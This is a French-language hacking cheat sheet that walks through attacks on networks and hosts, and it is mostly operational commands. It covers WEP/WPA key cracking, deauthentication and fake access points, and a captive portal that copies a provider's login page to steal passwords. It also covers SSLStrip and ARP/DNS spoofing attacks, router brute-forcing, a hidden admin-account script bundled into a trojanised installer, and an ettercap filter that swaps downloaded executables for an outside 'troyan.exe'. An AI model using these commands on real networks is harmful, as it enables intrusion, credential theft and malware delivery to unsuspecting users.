Intrusion



La suite aircrack-ng est l’instrument indispensable pour s’attaquer au WIFI.

1.  Equipement Wifi


Disposer d'une carte Wifi capable de supporter le mode moniteur. De plus amples informations en ligne sur les cartes Wifi sont disponibles.

  • Calibrage de la carte Wifi

#tail –f /var/log/message

La configuration par défaut provient du fichier db.txt
Linuxkernel/git/linville/wireless-regdb.git/db.txt 

  • Réglages de la puissance de la carte

#ifconfig wlan0 down
#iw reg set US    country flag found in db.txt
#ifconfig wlan up
#iwconfig wlan0 txpower 25   (suivant les capacités de la carte)

Il est maintenant possible de passer sur des canaux différents (1 à 14) 

  • Configurer la carte sur un canal spécifique

#iwconfig mon0 channel 1

2.  WEP


L'authentification WEP est un système ouvert d'échange de clefs

Une clef WEP 128-bit WEP contient généralement une chaine de 26 caractères hexadecimal (base 16) (0-9 et A-F). Chaque caractère représente 4 bits, 26 chiffres de 4 bits donnant chacun 104 bits; en ajoutant les 24-bit IV celà complète la clef WEP 128-bit.

Une clef WEP 256-bit inclut 24 bits pour le IV, qui laisse 232 bits pour la protection. Les 232 bits sont typiquement des caractères 58 hexadecimal : (58 × 4 bits = 232 bits) + 24 IV bits = 256-bit.

  • Les composants WIFI élémentaires :

 BSSID:         00:1A:XX:XX:XX:XX 
 STATION:    00:19:XX:XX:XX:XX
 ESSID:         Livebox-X007

  • Modification de l'adresse MAC

#macchanger --mac=00:19:XX:XX:XX:XX rausb0

  • Monter l'interface réseau
 
#ifconfig rausb0 up

  • Configurer l'interface réseau en mode moniteur 

#airmon-ng start rausb0

  • Capturer les paquets sur un canal donné 

#airodump-ng -w out --channel 10 rausb0

  • Plusieurs outils pour augmenter la quantité de trafic sur la borne

#aireplay-ng -1 0 -e Livebox-X006 -a 00:1A:XX:XX:XX:XX -b 00:1A:XX:XX:XX:XX -h 00:19:XX:XX:XX:XX rausb0
#aireplay-ng -3 -e Livebox-X006 -a 00:1A:XX:XX:XX:XX -b 00:1A:XX:XX:XX:XX -h 00:19:XX:XX:XX -x 600 -r out-01.cap rausb0

  • Desauthentification avec la station

#aireplay-ng -0 5 -a 00:0F:XX:XX:XX:XX -c 00:16:XX:XX:XX:XX eth0

  • Desauthentification par broadcast

#aireplay-ng -0 10 -a 00:0F:XX:XX:XX:XX eth0

  • Joindre plusieurs .cap

#mergecap -w 1.cap out-02.cap out-01.cap

  • Retrouver la clef WEP grace à aircrack

#aircrack-ng -b 00:16:XX:XX:XX:XX 1.cap

#aircrack-ng -x -0 1.cap

KEY FOUND! [ DD:7C:XX:XX:91:XX:D4:XX:2F:XX:61:XX:3A ]

  • Décrypter les communications WEP dans Wireshark
Edit/Preferences/Protocoles/IEE 802.11/Enable Decryption

Décrypter un Passphrase (WEP & WPA)

#airdecap-ng -e BSSID -p Passphrase psk-01.cap

Ouvrir le fichier avec Wireshark : Wireshark psk-decrypt.cap

3.  WPA


WPA améliore la sécurité offerte par l'ancien protocole WEP. WPA utilise en général le protocole de chiffrement TKIP. 
WPA2 remplace le chiffrement TKIP par CCMP pour plus de sécurité

Aircrack-ng peut seulement cracker les Pre-Shared Keys (PSK)

1)    Le mot de passe est haché par PBKDF pour générer le PSK (256) :
-Passphrase
-SSID
-SSID Lenght
-4096 number of hashed times
-256 bit key lenght

2)    4 ways Handshake start:
-Snonce
-Anonce
-AP MAC
-Client MAC

3)    The supplicant during the Snounce generate the Pairwise Transient Key (PTK=key for the session) from:
-Pairwise Master Key (PMK)
-ANounce
-SNounce
-Authenticator MAC
-Supplicant MAC

·         Encryption protocol
TKIP (Temporal Key Integrity Protocol): A 128-bit per-packet key is used, meaning that it dynamically generates a new key for each packet. Used by WPA.
CCMP: An AES-based encryption mechanism that is stronger than TKIP. Sometimes referred to as AES instead of CCMP. Used by WPA2.

Pre-shared key mode (PSK) is designed for home and small office networks. Each wireless network device encrypts the network traffic using a 256 bit key. This key may be entered either as a string of 64 hexadecimal digits, or as a passphrase of 8 to 63 printable ASCII characters.

à  http://www.wigle.net/gps/gps/main/ssidstats

Attaque par dictionnaire


  • Activer sa carte Wifi avec airmon-ng ou iwconfig

#airmon-ng start ath0
#iwconfig ath0 mode monitor

  • Capturer des paquets avec airodump-ng

#airodump-ng -c 10 --bssid 00:14:XX:XX:XX:XX -w psk ath0

  • Capturer un HandShake avec Aireplay-ng (désauthentification d’une station connecté)

#aireplay-ng -0 1 -a 00:14:XX:XX:XX:XX -c 00:XX:XX:XX:XX:XX ath0 

  •  Vérifier la capture du HandShake avec Aircrack-ng

#aircrack-ng out-01.cap

  • Attaque par dictionnaire

#aircrack-ng -w dic.txt -b XX:XX:XX:XX:XX:XX PSK.cap

#aircrack-ng -w dic1.txt,dic2.txt,di32.txt,dic4.txt  -b XX:XX:XX:XX:XX:XX *.cap

Attaque par brute force avec airolib-ng


Il permet de créer une base de donné (rainbowtable) contenant vos fichier dico pour un SSID.

Avant tout avoir aircrack-ng compilé avec sqlite.

#cd
#svn co
http://trac.aircrack-ng.org/svn/trunk aircrack-ng
#cd aircrack-ng
#make SQLITE=true
#make SQLITE=true install

Créer un fichier texte contenant le SSID, tout comme le dico (un mot par ligne).

  • Créer la base de donné avec comme nom "wpa" et importer nos password présents dans dico.txt

#airolib-ng wpa --import passwd dico.txt

  • Pareil avec le SSID:

#airolib-ng wpa --import essid ssid.txt

  •  Nettoyer la base:

 #airolib-ng wpa --clean all

  • Création du batch

 #airolib-ng wpa --batch

Combien de password: #airolib-ng wpa -stats
Vérifier la structure : #airolib-ng wpa --verify all

  • Crack

#aircrack-ng -r wpa *.cap

Cracking WPA with pyrit


·         Installing pyrit into BT5

#svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn
#apt-get install libssl-dev scapy python-dev
#cd /pyrit_svn/pyrit
#python setup.py build
#python setup.py install

·         Then download the nvidia-toolkit from:
http://developer.nvidia.com/cuda-toolkit-32-downloads

#sh cudatoolkit_3.2.16_linux_64_ubuntu10.04.run
#cd /pyrit_svn/cpyrit_cuda
#python setup.py build
#python setup.py install
#pyrit list_cores
#pyrit benchmark

·         Commands for capturing Handshake and use pyrit:

#airmon-ng
#airmon-ng start wlan0
#airodump-ng mon0
#airodump-ng -c 11 -w output --bssid mon0
#aireplay --deauth 0 -a bssid -c client mon0

#pyrit eval
#pyrit -i pass.lst import_passwords
#pyrit -e xxxxxAP create_essid
#pyrit eval
#pyrit batch
#pyrit verify
#pyrit -o wpadb export_hashdb

#aircrack -r wpadb output01.cap

Speed up WPA cracking


·         Pre-generate the PMK

#genpmk -f dictionnaries -s ESSID -d outputfile

·         use cowpatty to crack passphrase

#cowpatty -d previouspregenaratedPMK=outputfile -s SSID -r capturefile.cap

·         Use pyrit to crack passphrase (cf pyrit tu use multiple ressouce )

#pyrit -r capturefile.cap analyse
#pyrit -r capturefile.cap -i pregenaratedPMK=outputfile attack_cowpatty

·         use airolib-ng to generate PMK and aicrack-ng to crack passphrase

#airolib-ng dictionnaries [options]

#airolib-ng testdb --clean


Spoof Authentication


# aireplay-ng --fakeauth 10 -e ESSID mon0

·         Spoof authentication + Mac address spoofing

# aireplay-ng --fakeauth 10 -e ESSID -h 00.XX.XX.XX.XX.XX mon0

·         Fake auth using the keystream xor (enregistre la clef)

# aireplay-ng --fakeauth 10 mon0 -e ESSID -h 00.XX.XX.XX.XX.XX -y demo.xor

·         Conservative
# aireplay-ng --fakeauth 6000 -e Host_SSID -a Host_MAC -h FAKE_MAC WIFI_INTERFACE
This executes fakeauth with a delay of 6000
·         Progressive
# aireplay-ng --fakeauth 0 -e Host_SSID -a Host_MAC -h FAKE_MAC WIFI_INTERFACE
This executes fakeauth with a delay of 0
·         Standard
# aireplay-ng --fakeauth 5 -o 10 -q 1 -e Host_SSID -a Host_MAC -h FAKE_MAC WIFI_INTERFACE
This executes fakeauth with a delay of 5 launching 10 packets for every attempt and waiting 1 second between each packet.

Génération de password avec crunch


Il suffit d’utiliser un générateur de mot comme Crunch ou John The Ripper.

#./crunch [options_qui_vont_bien_(RTFM)] | aircrack-ng -w - *.cap

#cd
#cd /pentest/password
#crunch

Réponse:
usage: crunch [charset] [-t [FIXED]@@@@] [-s startblock]
éxemple:

crunch 2 3 12345 >/root/dico/pass2.txt
rm -f /root/dico/pass2.txt

1 ère ligne on génère un fichier texte dans notre dossier dico nommé pass2.txt, il sera composé:
d'un minimum de deux caractères
d'un maximum de trois caractères
charset le charset utilisé, ici des chiffres de 1 à 5
(Deuxième ligne, on supprime notre fichier)
Attention, ca va très vite en mettant des valeurs stupides vous pourriez remplir voir endommager votre disque dur !
Autre éxemple, en fixant une partit de mot:

crunch 6 6 012345 -t liv-@@ >/root/dico/pass3.txt

liv- sera présent sur toutes les lignes, et disposera de deux caractères compris entre 1, 2, 3, 4 ou 5
Aperçu:

liv-00
liv-01
liv-02
liv-03
liv-04
liv-05
liv-10
liv-11

·         Recoller plusieurs fichiers en un seul, gérer le classement et les doublons

On va dire que tous nos fichiers dico sont dans root/dico

#cd
#cd dico
#cat * | sort | uniq >/root/dico/dicofinal.txt

cat * pour afficher le contenue de tous les fichiers sort pour les classer en ordre alphabétique uniq pour enlever les doublons > réécriture du contenue

·         Diviser un gros fichier en plusieurs
#split -b 100m /root/db/8ch0a9.txt

/root/db/8ch0a9.txt étant le chemin de mon fichier à découper 100m pour 100mb, pour découper en Ko, remplacez le m par k

·         Compter le nombre de password (étant donné qu'il y a un pass par ligne)
#wc -l dico.txt

Créer et gérer sa wordlist


·         Créer un répertoire de réception pour les fichiers

#cd
#mkdir dico
#cd dico

·         Aspirer un site avec les fichiers utilisables

#wget -r -A.html,htm,txt http://www.refuge-arpa.com/

-r recursif (sinon il va juste récupérer l'index)
-A les extensions autorisées

·         Récupération des mots dans nos fichiers

#cd /pentest/password/wyd

·         Utiliser wyd pour créer notre wordlist à partir de nos html

#perl wyd.pl -n -o /root/dico/pass.txt ~/dico

Idem mais avec un minimum de 8 caractères:

#perl wyd.pl -s 8 -n -o /root/dico/pass.txt ~/dico

Autre exemple:

#wyd.pl -n -o /root/db/ccm.txt /root/db/www.commentcamarche.net

Usage:

      -o      = Write wordlist to
      -t            = Separate wordlist files by type, e.g. '.doc'
      -s   = Use 'strings' for unsupported files
      -b            = Disable removal of non-alpha chars at beginning of word
      -e            = Disable removal of non-alpha chars at end of word
      -f            = Disable inclusion of filenames in wordlist
      -v            = Show debug / verbose output
      -n            = Continue even if programs / modules are missing

Faille de sécurité des BBox


Thomson qui fournit les Box pour Bouygues un algorithme connu depuis 2005. M1ck3y a adapté le code source de Kevin Devine, et a pu créer un générateur de clefs WPA pour Bbox.
A partir du ESSID (Bbox-3983BC) en particulier les 6 derniers caractères, le petit soft bbkeys de M1ck3y, vous génère la clef WPA fournit par défaut avec le routeur.

Dictionnaires


http://g0tmi1k.blogspot.com/2011/06/dictionaries-wordlists.html
http://www.skullsecurity.org/wiki/index.php/Passwords
http://trac.kismac-ng.org/wiki/wordlists
http://hashcrack.blogspot.com/p/wordlist-downloads_29.html
http://packetstormsecurity.org/Crackers/wordlists/
http://0x80.org/wordlist/
http://dictionary-thesaurus.com/wordlists.html
http://www.outpost9.com/files/WordLists.html
http://www.openwall.com/passwords/wordlists/ 
http://dictionary-thesaurus.com/Wordlists.html 
http://en.wikipedia.org/wiki/Wikipedia_database#Where_do_I_get… &  http://blog.sebastien.raveau.name/2009/03/cracking-passwords-with-wikipedia.html
http://www.isdpodcast.com/resources/62k-common-passwords/ 
http://bricowifi.free.fr/download.html
http://ftp.sunet.se/pub/security/too…all/wordlists/
ftp://ftp.ox.ac.uk/pub/wordlists/
http://gdataonline.com/downloads/GDict/
ftp://ftp.openwall.com/pub/wordlists/
ftp://ftp.cerias.purdue.edu/pub/dict/
http://www.indianz.ch/tools/doc/wordlist.zip
http://www.outpost9.com/files/WordLists.html
ftp://ftp.openwall.com/pub/wordlists/passwords/
https://www.securinfos.info/wordlists_dictionnaires.php
ftp://ftp.ox.ac.uk/pub/wordlists/
http://www.lostpassword.com/f/wl/bigdict.zip
http://www.lostpassword.com/f/wl/French.zip
http://www.lostpassword.com/f/wl/Spanish.zip
http://www.lostpassword.com/f/wl/German.zip
http://www.vulnerabilityassessment.co.uk/passwords.htm
http://packetstormsecurity.org/Crackers/wordlists/
http://www.ai.uga.edu/ftplib/natural-language/moby/
http://www.cotse.com
http://www.cotse.com/tools/wordlists1.htm
http://www.cotse.com/tools/wordlists2.htm
http://www.openwall.com/mirrors/
ftp://dl.openwall.com/pvt/sample/

WPA_Supplicant


wpa_supplicant is a free software implementation of an IEEE 802.11i supplicant for Linux, FreeBSD, OSX and Microsoft Windows. In addition to being a full-featured WPA2 supplicant, it also implements WPA and older wireless LAN security protocols.

#sudo apt-get install wpasupplicant

·         obtenir des fichiers de conf

#wpa_supplicant -Dwext -wlan1 -c wpa-psk.conf


GUI pour cracker WEP/WPA protection


Maintenant que les bases sont acquises, il existe des suites graphiques afin d’automatiser les procédures :
·         Spoon WEP/WPA
·         Gerix-Wifi
#cd /usr/share/gerix-wifi-cracker-ng/
#sudo python gerix.py
·         Airoscript-ng

4.  Man In the Middle Attack


Injection: add or modify packets
Key Manipulation: SSH, IPSEC, HTTPS (fake certificate)
Downgrade attack: SSH v2, IPSEC, PPTP
Filtering: send or modify code (trojans, javascript)






·         Configuration de la carte WiFi en mode monitor pour snifer le réseau :

#airmon-ng start wlan0

·         Configuration de la carte en point d’accès 

#airbase-ng –c 1 –e TP_MITM mon0

-c : canal de communication
-e : ESSID, nom du réseau à créer.

·         Configuration de l’interface d’écoute at0

Création de l’interface virtuelle qui fera le pont entre l’interface hébergeant le point d’accès et notre interface disposant d’un accès internet : at0

#ifconfig at0 up
#ifconfig at0 mtu 1500
#ifconfig at0 172.17.1.1 netmask 255.255.255.0
#route add –net 172.17.1.0 netmask 255.255.255.0 gw 172.17.1.1

(Démarrage de l’interface virtuelle at0
Initialisation du max transfert unit à 1500
Initialisation de l’adresse IP de l’interface
Configuration de la passerelle par défaut)

·         Configuration du serveur DHCP afin d’attribuer des adresses IP
Pour cela nous avons besoin d’un fichier de configuration de dhcpcd3 :

default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 172.17.1.0 netmask 255.255.255.0 {
range 172.17.1.20 172.17.1.240;
option routers 172.17.1.1;
option domain-name-servers 172.17.1.1;
}


Explications:
durée par défaut du bail
durée maximale du bail
on spécifie que le serveur fait autorité sur le réseau
local7 se retrouvera dans le fichier de syslog afin de tracer les actions
on définit le réseau sur lequel le dhcp est configuré
la plage d’adresses- la passerelle par défaut
le serveur DNS

#dhcpd –cf dhcp.conf at0

Démarrer le serveur dhcp avec notre fichier de configuration sur l’interface at0

·         activer le mode routeur sur la machine :

#echo 1 > /proc/sys/net/ipv4/ip_forward

On indique dans iptables vers quelle interface de sortie il faut rediriger les paquets :

#iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE

·         ajout de la couche SSLStrip
Afin de pouvoir écouter le trafic s’effectuant habituellement en SSL, l’outil SSLStrip permet de contourner le la sécurité en établissant le tunnel entre la machine de l’attaquant et le site sécurisé, tout en renvoyant une page modifiée à la victime.

# iptables -t nat -A PREROUTING -p tcp -destination-port 80 -j REDIRECT -to-port 18000

Explications :
On insère dans la table NAT, la règle PREROUTING qui redirige le trafic tcp en direction du port 80 vers le port 18000

#sslstrip –l 18000 –f

-on lance sslstrip en écoute sur le port 18000
-l’option « -f » permet d’insérer sur les pages web normalement sécurisées l’icone du cadenas pour tromper la victime.

·         Analyse du trafic avec Wireshark

#wireshark

Nous devons écouter sur l’interface at0
Afin de préciser l’analyse nous pouvons appliquer un filtre à notre recherche :

·         Analyse du trafic avec Xplico : http://www.xplico.org/

SRXplico est une interface Web permettant d’analyse plus facilement le trafic transitant sur des interfaces réseau de la machine, en catégorisant le trafic, il dispose de nombreuses options comme le vol de cookie, il permet également d’enregistrer les conversations Facebook et IRC, de voir les images affichées dans le navigateur du client.

#service httpd start
#service xplico start
#firefox http://localhost:9876
·         Afin de mettre en place un spoofing DNS il est nécessaire de modifier la configuration de dnsmasq :

#vim /etc/dnsmasq.conf

Modifier la ligne commençant par « address=/doublecli….. » pour la remplacer par « address=/kaspersky.com/172.17.1.1 »

#service dnsmasq restart

En Bref

Pré-requis : PC connecté à internet

·         Créer un pont entre l’interface connectée à Internet et l’interface wifi (airbase-ng) :

#airbase-ng -e ESSID mon0 
  
#ifconfig at0 up
                  
·         brctl : outil pour créer un bridge   / option addbr (add bridge)

#brctl addbr demo    (demo=name of the bridge)

·         No interfaces have been bridge already

#brctl show
 
·         add an interface to the bridge mode
  
#brctl addif demo eth0
   
Répéter l’opération pour l’autre interface

#brctl addif demo at0

·         Activer le bridge

#ifconfig demo up 

·         Activer le serveur dhcp pour le bridge

#dhclient3 demo &
  
·         Vérifier que le bridge dispose d’une IP valide

# ifconfig demo


Attaques avec Ettercap :

Les filtres vous permettent de changer le contenu des paquets : /usr/share/ettercap/

1. Changement prompt FTP:

·         fichier de configuration appelé test_filter dans le dossier /usr/share/ettercap.

# remplacement de l'invit de connexion FTP
if (tcp.src == 21 && search(DATA.data, "ProFTPD")) {
   replace("ProFTPD","TeddyBearFTPD);
}

·         Compilation du fichier avec Etterfilter :

#etterfilter etter_filter -o test_filter

·         Charger le filtre dans Ettercap et lorsque le client lancera une connexion ftp via ProFTPD, il recevra une invite de type TeddyBear FTPD

2. Downgrade attack SSH

Attaque par abaissement de version ou SSH 1 présente une faille de sécurité  permettant à l'attaquant de capturer le mot de passe.

En position MITM, le hacker va modifier la réponse en changeant le champs "1.99" en "1.51" pour indiquer au client que le serveur ne supporte que SSH1.

·         Verifier que le serveur accepte SSH 1 et SSH2:

#telnet server_ip_address 22

·         Le filtre dans Ettercap est:  /usr/share/ettercap/etter_filter_ssh

#cat /usr/share/ettercap/etter.filter.ssh

·         Compiler le fichier pour créer le filtre :

#etterfilter etter_filter_ssh -o etter_filter_ssh_co

·         Chargement du filtre dans Ettercap

5.  Create a fake access point


·         Windows: Hosted Network (Win7, Win server 2008)

c:\netsh wan set hostednetwork node-allow ssid-DEMO3333 key=WPAPASSPHRASE

c:\netsh wlan start hostednetwork

·         Linux: Airbase-ng ; HostAPd

·         Set the channel of the card.
·         Set the card in monitor mode.
·         Créer a soft fake access point :
#airbase-ng –a 00:00:XX:XX:XX:XX – e ESSID mon0
·         De-authentifier tous les clients
#aireplay-ng --deauth 0 –a BSSID mon0
The best thing is to use an another card
·         Vérifier les clients connectés et monter un serveur DHCP pour l’attribution IP ou utiliser l’interface at0 (ifconfig at0 up) créé par airbase-ng pour capturer avec Wireshark les paquets échangés.
Si le DHCP n’est pas installé, le client va s’assigner automatiquement une adresse de type 169.254.x.x
·         Configurer at0 pour créer une connection ad-hoc
#ifconfig at0 169.254.x.2 netmask 255.255.255.0 up


Create multiple fake access point:

Create multiple monitor mode interface to create multiple access point. Therefor all will have to be on the same channel and using a different mac address

#airbase-ng --essid HONEY -a XX:XX:XX:XX:XX:XX -c 11 mon1

#airbase-ng --essid HONEY -a X1:X1:X1:X1:X1:X1 -c 11 -W 1 mon2 (WEP)

#airbase-ng --essid HONEY -a X2:X2:X2:X2:X2:X2 -c 11 -W 1 -z 2 mon3  (WPA)  

#airbase-ng --essid HONEY -a X3:X3:X3:X3:X3:X3 -c 11 -W 1 -Z 4 mon4  (WPA2) 

Fake access point with Jasager, Karmetasploit


Fake access point with Airsnarf

Airsnarf create a hotspot with a captive portal. Wireless clients that associate to your Airsnarf access point receive an IP, DNS, and gateway from you. Any request will bring up the Airsnarf "splash page", requesting a username and password.
·         

·         Install & run Airsnarf :

tar zxvf airsnarf-0.2.tar.gz
cd ./airsnarf-0.2
./airsnarf

Variables such as local network, gateway, and SSID to assume can be configured within the ./cfg/airsnarf.cfg file. 

1) Configure an up and running Access Point with a provider SSID name

#configure the file airsnarf.cfg with /pentest/wireless/airsnarf-0.2/cfg/airsnarf.cfg
#place dhcpd.src /pentest/wireless/airsnarf-0.2/bin
#replace airsnarf.cgi with /pentest/wireless/airsnarf-0.2/cfg/cgi-bin/airsnarf.cgi
#replace my index.html in path /pentest/wireless/airsnarf-0.2/cfg/html & /var/www/htdocs
#replace airsnarf.jpg with my airsnarf.jpg in /pentest/wireless/airsnarf-0.2/cfg/html & /var/www/htdocs
#copy apache_pb22_ani.gif from /var/www/htdocs & paste in /pentest/wireless/airsnarf-0.2/cfg/html.

airsnarf = /pentest/wireless/airsnarf-0.2/cfg/airsnarf.cfg
Créer un dhcpd et httpd dans /etc/init.d/
Créer un fichier vide /var/state/dhcp/dhcp.lease


2) Configure a login page which looks like a provider one : the easiest way is to copy the original one.

This login page will take the username and password that is entered and dumped into a file where it can be read.
(paswords will be store in /tmp/airsnarf_pwds.txt)

Malicious Websites and Browser Exploits

6.  Router Hacking


·         Vérifier l’activité du router

#ping 192.168.1.1

·         Check relevant open port : bgp

#nmap -sS 192.168.1.1

·         get OS & Services  fingerprinting

#nmap -A 192.168.1.1

·         try to connect to the router

#nc 192.168.1.1 23

·         once on the router get more information

#show configuration

BRUTE FORCE – DICTIONNARIES

#hydra
#hydra -C dictionnaries 192.168.1.1 telnet


·         SNMP Attacks using Shmpcheck
Check if the router using snnmp (cf. show configuration)
Config should be like authorization rv (Read&Write)

#pwd
#/pentest/enumeration/snmpcheck
#./snmpcheck.pl
#./snmpcheck.pl -t 192.168.1.1 | less


·         SNMP Attacks Using Snmpenum
#pwd
/pentest/enumeration/snmpenum
#ls

Check various configuration type
#less cisco.txt  
#./snmpenum.pl
#./snmpenum.pl 192.168.1.1 public linux.txt


Dictionary Attack Using Metasploit On Snmp
#/pentest/exploits/frameworks: ./msfconsole
#msf > search snmp

Check if there is an snmp service running
#nmap -sU -p 161 -n 192.168.1.1

In metasploits
msf > use scanner/snmp/community
msf auxiliary(community) > show options
msf auxiliary(community) > set roosts 192.168.1.1
msf auxiliary(community) > exploit


hydra:
#hydra -l admin -p mypass 192.168.0.1 http-get htp://192.168.0.1
#hydra -l admin -p mypass 192.168.0.1 http-head htp://192.168.0.1

#hydra http-form-post 192.168.1.1:user=^user_name^&pass=^passwd1^&mid=failed

or?

#hydra -l admin -p -P http-form-post 192.168.1.1:user=^user_name^&pass=^passwd1^&mid=failed
medusa :

#cg@segfault:~/evil/bruteforce/ $ medusa -h 192.168.0.1 -u admin -p mypass -M http

Medusa v1.3 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [http] Host: 192.168.0.1 (1/1) User: admin (1/1) Password: mypass (1/1)
ACCOUNT FOUND: [http] Host: 192.168.0.1 User: admin Password: mypass [SUCCESS]


7.  Acquérir un accès Shell


Find RLogin

# ./find_rlogin target_host accounts_list

Trying login: root Trying login: user01 Trying login: user02 Trying login: bill \P
Un fichier logins.found est créé : il contient les mots de passe des utilisateurs.

Commandes R* de Berkeley
NetCat (rechercher sur Google)
Find Rlogin (programme dans l'annexe A)
Exploitation des faiblesses de Sendmail et utilisation des programmes standards UNIX tels que finger et rusers pour trouver des comptes valides

8.  Ajouter un utilisateur admin


For adding a user with administrative privileges open notepad and type following commands and save it as batch script( .bat extension),

@echo off
net user USER PASSWORD /add
net localgroup administrators USER /add

( add a user with name USER with password PASSWORD and assign it administrative privileges.

The disadvantage of above script is that it appears on command prompt when executed so we have to hide them in some another program, here for demonstration I am using AIMP2 its a music player program, an attacker will use a program in which administrative user will be interested in. To combine programs we can use “iexpress.exe” wizard in windows, other tool that we are in need of is “Resource Hacker”. Open command prompt and type “iexpress.exe” in it.
Select “Create New Self Extraction Directive”.


Now select “Extract Files And Run Installation Command”
Press next and type title of package, use name of program you want to bind your scripts with.

In confirmation prompt select “No Prompt” then press next and select “Do not display license”. Now add your script file and program file you want to bind.


Now from “install program” option select the program file you want to bind and in “post install command” select your batch script script or vise-versa. Please note that if you are adding batch script in this way you will have to add an extra line to script which will delete script after execution. So the final script that you will use will have following lines in it.

@echo off
net user USER PASSWORD /add
net localgroup administrators USER /add
del new.bat


 Press next then select “default (recommended)” then “no message” select location and create bonded file.

When your file will be created you'll find its icon doesn't appear like the original program use resource hacker to change its icon. At present I am not covering how o use resource hacker so please check its help file to check out how to change icon using resource hacker. Now try to make some provision so that system administrator should execute this bonded file. The installationwill begin without problem and your script will be executed in background.

Same batch script effect can also be achieved in UNIX or Linux systems by typing following commands in shell script.

useradd -G root USER
echo PASSWORD || passwd –stdin USER

Above commands will create user USER with password PASSWORD and it will be the member of root group that means a super user. Your next step will be anyhow make any super user member execute the shell script with above code, because in Unix and Linux environment you don't have ready made programs that can help you out as in windows.

9.  Trojan


ex: Back Orifice 2000, Netbus, subseven, a.k.a. Trojan

use Joiners pour intégrer un trojan dans une autre enveloppe

10.              IP-ARP-DNS Spoofing

alias réseau sur notre interface
# ifconfig vr0
# ifconfig vr0 inet 192.168.0.25 netmask 0xffffffff add
# ifconfig vr0 up

routing
# sysctl -w net.inet.ip.sourceroute=1
# sysctl -w net.inet.ip.accept_sourceroute=1
# sysctl -w net.inet.ip.forwarding=1

ARP SPOOFING

    
Ettercap-ng : #ettercap -G

1-Scanner les Hosts sur le réseau avec Ettercap : IP & MAC Address

Unified sniffing, on sélectionne l'interface connectée au net
Hosts/Scan for hosts > Check the Hosts List


2-Découvrir le nom des Hotes avec Autoscan

3-Ajout des Hosts entre lesquels on s'interpose

Ettercap: Add Target 1 ( Router ) & Add Target 2 (client)

S'il n'y a pas de victime, on peut sélectionner que le routeur, si quelqu'un se connecte, il sera empoisonné.
Si vous ne choisissez aucune machine en cible (target), toutes les machines à l'intérieur du sous-réseau seront usurpées.


4-Activer le Forwarding

#cat /proc/sys/net/ipv4/ip_forward
#echo 1 > /proc/sys/net/ipv4/ip_forward
#cat /proc/sys/net/ipv4/ip_forward
#echo 1 > /proc/sys/net/ipv4/ip_forward

Vous indique par 1 le forward (effectif)

5- Arp poisoning

Mitm -> Arp poisoning

Selectionner Sniff remote conections

En ligne de commande :
#arpspoof -i eth0 -t 192.168.1.79 192.168.1.1
#arpspoof -i eth0 -t 192.168.1.1 192.168.1.79


6-ARP sniffing

Start > Start sniffing

View connections

Onglet Plugin : manage plugins pour voir si l'arp a fonctionné :

Plugins: manage the plugins, et on double clic sur chk_poison



vider le cache ARP
Sur une machine Microsoft Windows:
 C:\Documents and Settings\admin>arp -d *

 Sur un Linux Ubuntu ou Debian:
 #arp -d adresse_ip

 Sur un routeur Cisco:
 #clear arp-cache

DNS SPOOFING


·         éditer le fichier etter.dns /usr/local/share/ettercap/etter.dns

#vim /usr/share/ettercap/etter.dns

*forums.remote-exploit.org A 84.16.87.28

http://forums.remote-exploit.org/ va être redirgé vers l'ip de http://backtrack-fr.net/    *.* A 84.16.87.28

Ici je renvoi tout sur http://backtrack-fr.net/

·         Dans Ettercap activer le plugin dns_spoof

·         Pour arrêter, commencez l'usurpation DNS:
Start -> Stop sniffing

·         Windows garde une entrée DNS pendant 5 minutes dans son cache
Changer le délai du cache :

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\
"NegativeCacheTime"

·         Vider le cache DNS :
Windows :  ipconfig /flushdns

Linux :  /etc/init.d/dns-clean start

·         Afficher les DNS :
Windows : ipconfig /displaydns

11.              Ettercap


Ettercap-ng permet de faire du sniffing, man in the middle, dns spoof...
Sous windows, il est préférable d'utiliser cail & abel pour un MITM.

Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]

TARGET is in the format MAC/IPs/PORTs (see the man for further detail)

·         Activation du forward

#echo 1 > /proc/sys/net/ipv4/ip_forward

·         Sniffing :

#ettercap -p -T -i at0

·         Pour n'avoir que les password dans le shell:

#ettercap -p -T -i at0|grep PASS

·         ARP poisoning

#ettercap -T -q -M ARP -P autoadd

·         etterfilter pour remplacer un exe lors d'un téléchargement par celui que l'on désire

Création du filtre, on créer un nouveau document texte avec comme titre exe.filter et on y colle le contenue si dessous (modifiez l'url contenant l'exe par ce que vous voulez, ici il s'agit du logiciel 7zip renommé) :

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("keep-alive", "close" ");
replace("Keep-Alive", "close" ");
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
# enable for logging log(DECODED.data, "/tmp/log.log");
msg("found EXE\n");
# "Win32" is the first part of the exe example:
# if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc ..
if (search(DATA.data, "Win32")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301 Moved Permanently
Location: http://bricowifi.free.fr/troyan.exe
");
msg("redirect success\n");
}
}

·         Ensuite on compile notre filtre:

#etterfilter exe.filter -o exe.ef

·         On lance ettercap:

#ettercap -T -q -F exe.ef -M ARP -P autoadd

·         etterfilter remplacement des images du net par celle desire

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://www.monsite.com/images/monimage.png\" ");
replace("IMG SRC=", "img src=\"http://www.monsite.com/images/monimage.png\" ");
msg("Filter Ran.\n");
}


#etterfilter web.filter web.ef

#ettercap -T -q -F web.ef -M arp:remote /192.168.1.1-255/ -P autoadd

etterfilter "problème de sécurité, mise à jour recommandé"

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Nothing!");
}
}
if (ip.proto == TCP && tcp.src == 80) {
